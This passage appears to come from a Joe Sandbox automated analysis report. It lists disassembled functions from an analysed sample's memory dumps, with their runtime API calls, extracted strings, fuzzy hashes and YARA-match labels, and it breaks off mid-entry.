Instruction ID: c3f9129e04d39096db86ee3dbd798fa579d010b72ca6babdac1055268f0b1971
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: F651A972600306ABEB298F11C881BAA77B4EF40714F14413FE802A76D5E739AC91CBDD

Function 04B41837 Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 04B4183C

Part of subcall function 04B49AA9: std::invalid_argument::invalid_argument.LIBCONCRT ref: 04B49AB5

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 04B41872
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 04B418A9
Concurrency::cancel_current_task.LIBCPMT ref: 04B419BE

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID:
API String ID: 2123813255-0
Opcode ID: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction ID: 95048d8a272e7c1841f4d2f2ceb23c41c74cd672a552cc7c56e6b6ee9d50460a
Opcode Fuzzy Hash: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction Fuzzy Hash: FC410CB1E00304ABE7149FB89C8876AB7F8EFC8214F1006A9E95AD7280E771BD45D791

Function 10007BCE Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 10008DC4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B163,?,00000000,00000000), ref: 10008E70

GetLastError.KERNEL32 ref: 10007C36
__dosmaperr.LIBCMT ref: 10007C3D
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C7C
__dosmaperr.LIBCMT ref: 10007C83

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction ID: 4d86bd2ae757562d8160192595c5732c56f34f1228d97d68919d00ee2a874974
Opcode Fuzzy Hash: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction Fuzzy Hash: 9021AC75A00216AFB720DF658C85D5BB7ADFF042E4B108529FA699724ADB35EC408BA0

Function 10008336 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction ID: d1df9cd49d1a9d965a935ddcfcfd3b9185eaf4079d6f623355f3cc1fa6217373
Opcode Fuzzy Hash: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction Fuzzy Hash: C821D075A00206BFF710DF61CC8090B779CFF846E47108124FA949215AEB31EF0087A0

Function 04B5770B Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 04B551BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B55422,?,00000000,-00000008), ref: 04B55220

GetLastError.KERNEL32 ref: 04B5776F
__dosmaperr.LIBCMT ref: 04B57776
GetLastError.KERNEL32(?,?,?,?), ref: 04B577B0
__dosmaperr.LIBCMT ref: 04B577B7

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: d8c3a17e880bfbfd7469b2d85f0699a11be478a4650e971180f6637de2de163c
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: C9219571700215AFAB10AF65DC84A6BF7ACFF48268F0085A8ED2997260EB30FC019750

Function 004174A4 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

GetLastError.KERNEL32 ref: 00417508
__dosmaperr.LIBCMT ref: 0041750F
GetLastError.KERNEL32(?,?,?,?), ref: 00417549
__dosmaperr.LIBCMT ref: 00417550

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: 408a06d1cf8366b2ae1f3811782f7cd1de2d149ac6df674c503089c6b33b154d
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 2B21CD716042057FDB20AF66C880CAB7779EF44368710852AF91997751D739ED818768

Function 04B51442 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: a152f36e3a909e8a5dd4e8ae9001fa42b519cc60122ecbc9fd24270ab44e6d07
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: C9218771A00105AFEB11AF6DDC80B6BF7ADEF442687018595FD1A97260E734FC419B50

Function 004111DB Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: c7293b4e2709a45a538168f771ca0d14dcb5837bd486a4ca313c9b6cb4d0090e
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: DF21C971600219AFDB20AF659C40DEB776DAF44368B10456BFA29E7261D738DC8187A8

Function 04B535A0 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,04B536AF,04B437FE,?,00000000,04B42A70,04B42A72,?,04B53828,00000022,00420B0C,00422950,00422958,04B42A70), ref: 04B53661

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 522ad273bd1effe3784af4b01f248eff5a0322d26bd1200c530598a789cbb94a
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: 1221D571B05211ABC731AF25EC80B5ABBA9DB427E0F1511B4ED05A73A1DB30FD06C694

Function 04B586AC Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 04B586B4

Part of subcall function 04B551BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B55422,?,00000000,-00000008), ref: 04B55220

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B586EC
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B5870C

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction ID: 73245b248b1357d587670e7f9fa5d989bd9cb0d02745ef5bbff5a8aa21559e4d
Opcode Fuzzy Hash: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction Fuzzy Hash: B211C4B66011197E77223B725CCCEBFADADCE491E870014B4FD05D1130FA60EE1181B5

Function 00418445 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041844D

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00418485
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004184A5

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction ID: 9202fe00a5822ec58f1db5debff3a6e736622b39abe9cc99b2a2d556b75614f5
Opcode Fuzzy Hash: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction Fuzzy Hash: A01104B65005167F6B212BB25D89CEF295CDF89398721402EF905A1201FE2CDE8241BE

Function 04D0AD84 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04D0ADA0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04D0ADB9

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: f7843e2fb899912db9a9cc4b2dd996d079f34fc9236902377943b3a1eb3cbf7c
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: B301B53230D3119EE73427B86CC4B5F2B54FB11279360823AE510572E1FE95A84255E8

Function 04B5CE4F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,04B5CAC6,00000000,00000001,?,00000000,?,04B59CE5,00000000,00000000,00000000), ref: 04B5CE66
GetLastError.KERNEL32(?,04B5CAC6,00000000,00000001,?,00000000,?,04B59CE5,00000000,00000000,00000000,00000000,00000000,?,04B5A288,?), ref: 04B5CE72

Part of subcall function 04B5CE38: CloseHandle.KERNEL32(0042CA30,04B5CE82,?,04B5CAC6,00000000,00000001,?,00000000,?,04B59CE5,00000000,00000000,00000000,00000000,00000000), ref: 04B5CE48

___initconout.LIBCMT ref: 04B5CE82

Part of subcall function 04B5CDFA: CreateFileW.KERNEL32(00428728,40000000,00000003,00000000,00000003,00000000,00000000,04B5CE29,04B5CAB3,00000000,?,04B59CE5,00000000,00000000,00000000,00000000), ref: 04B5CE0D

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,04B5CAC6,00000000,00000001,?,00000000,?,04B59CE5,00000000,00000000,00000000,00000000), ref: 04B5CE97

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: 5d0ad675687bf1188602e3c826c61c689413839fce39a0b736d80fccde857984
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: D1F0AC3A540259BBCF225F95DC04A9D7F36FF486A1B454460FE1996130D732A821ABD4

Function 1000CD22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001), ref: 1000CD39
GetLastError.KERNEL32(?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001,?,1000BFFB,10009A1A), ref: 1000CD45

Part of subcall function 1000CD0B: CloseHandle.KERNEL32(FFFFFFFE,1000CD55,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001), ref: 1000CD1B

___initconout.LIBCMT ref: 1000CD55

Part of subcall function 1000CCCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CCFC,1000C7D5,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CCE0

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CD6A

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction ID: e182fa176b596d651ba3484f1012657cf00b5fef4cb1dd311ab1bc31a0a6f155
Opcode Fuzzy Hash: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction Fuzzy Hash: 53F030368002A9BBEF125F95CC48EC93FA6FB0D3E0F018025FA0885130DA32C9609B90

Function 0041CBE8 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000), ref: 0041CBFF
GetLastError.KERNEL32(?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000,?,0041A021,?), ref: 0041CC0B

Part of subcall function 0041CBD1: CloseHandle.KERNEL32(FFFFFFFE,0041CC1B,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000), ref: 0041CBE1

___initconout.LIBCMT ref: 0041CC1B

Part of subcall function 0041CB93: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041CBC2,0041C84C,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CBA6

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CC30

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: b2f8e5e77f4d676ad0e685e0439cc39e0844638a97b8ad054d7e4805cd8d945f
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: D6F01C36580118BBCF221F95ED45ADA3F26FF497A0B404031FA0D96121D6328C619BD8

Function 00409D0D Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00409CAA,00000064), ref: 00409D30
LeaveCriticalSection.KERNEL32(0042D064,00401044,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D3A
WaitForSingleObjectEx.KERNEL32(00401044,00000000,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D4B
EnterCriticalSection.KERNEL32(0042D064,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D52

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction ID: ed1c7c09b24d5124ebc712e1e7f2573f2e40a4f9289d25860d0ee5ca28a3c269
Opcode Fuzzy Hash: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction Fuzzy Hash: 8FE0ED31A85628FBCB111B50FC09AD97F24AF09759F508032F90976171C7795D039BDD

Function 00410EDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00410F6D

Strings

pow, xrefs: 00410F45, 00410F62

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction ID: 1dd945e64f0d07477a36e3934c2b0d008af5dc79b4df0e8c4bba017ec81d751d
Opcode Fuzzy Hash: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction Fuzzy Hash: 65512B75A0820296CB217714DA023EB6BA49B40750F618D6FF095463E9EBBCCCD7DA4E

Function 00409590 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 004096CE
std::_Xinvalid_argument.LIBCPMT ref: 004096E5

Strings

vector too long, xrefs: 004096E0

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_taskXinvalid_argumentstd::_
String ID: vector too long
API String ID: 3646673767-2873823879
Opcode ID: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction ID: f4da2a5e80598445161bac14147e50f437b92e93805fe79093e1120e4695fd56
Opcode Fuzzy Hash: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction Fuzzy Hash: 5A5125B2E002159BCB14DF69C84066EB7A5EF80314F10067FE805FB382EB75AD408BD5

Function 04B4BA27 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 04B4BA66
__IsNonwritableInCurrentImage.LIBCMT ref: 04B4BB1A

Strings

csm, xrefs: 04B4BB04

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 9abc96a7417e2df934baa2b10761900e938abc9b3e39e12c11abe961b5f58a61
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: A141B530A04218ABDF10DF68C884A9EBBB5FF84318F14C1D5EA145B392DB75FA16DB91

Function 04B4C2C7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04B4C2EC

Strings

MOC, xrefs: 04B4C2FE
RCC, xrefs: 04B4C306

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: c9a5f74cace97e68370c34ee3b892004a0484ee40074c5990f4d4150ab101f9a
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: 18413971901209EFDF25DF98CD80AEEBBB5FF88704F158499F904A7261D335A950EB50

Function 100044D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 100044FB

Strings

MOC, xrefs: 1000450D
RCC, xrefs: 10004515

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction ID: 0fa13f4c886c2deeb8e1184eea68dc96f9460117e0f406c7378fe553058e7938
Opcode Fuzzy Hash: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction Fuzzy Hash: 7B419DB5900109AFEF06CF94CC81AEE7BB5FF48384F168059F9046B25AD736EA50CB55

Function 0040C060 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0040C085

Strings

MOC, xrefs: 0040C097
RCC, xrefs: 0040C09F

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: fbbd96fe11317218043276dd35bf9a0f08be73a273ccdb2477d392fe495d2932
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: EC414972900209EFCF15DF94CD81AAEBBB5BF48304F14826AF9057B2A2D3399951DF58

Function 04B41567 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 04B49EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EF7
Part of subcall function 04B49EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49F34

__Init_thread_footer.LIBCMT ref: 04B415F3

Part of subcall function 04B49EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EAC
Part of subcall function 04B49EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49EDF

Strings

KN, xrefs: 04B41595
]DFE, xrefs: 04B41587

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: KN$]DFE
API String ID: 4132704954-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: ff3efab5941bf662027bfd6ea38497bf6cd16a727b41f2926751eb31215a868a
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: EF215AF0F00284CAE720DF78F8457A9B770EF59308F8482A5E4541B261DB7466C6DB0D

Function 04D00700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D0078C

Strings

KN, xrefs: 04D0072E
]DFE, xrefs: 04D00720

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: KN$]DFE
API String ID: 1385522511-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: 4293d956b2bdec09bda07c90788e28a8d8ae93ca3f322661f7380e5c78bad685
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: E82128B0F00244DAE720EF64E8557A9B760EF59308F44C269E4541B2A1EB7461C2CF5D

Function 00401300 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040138C

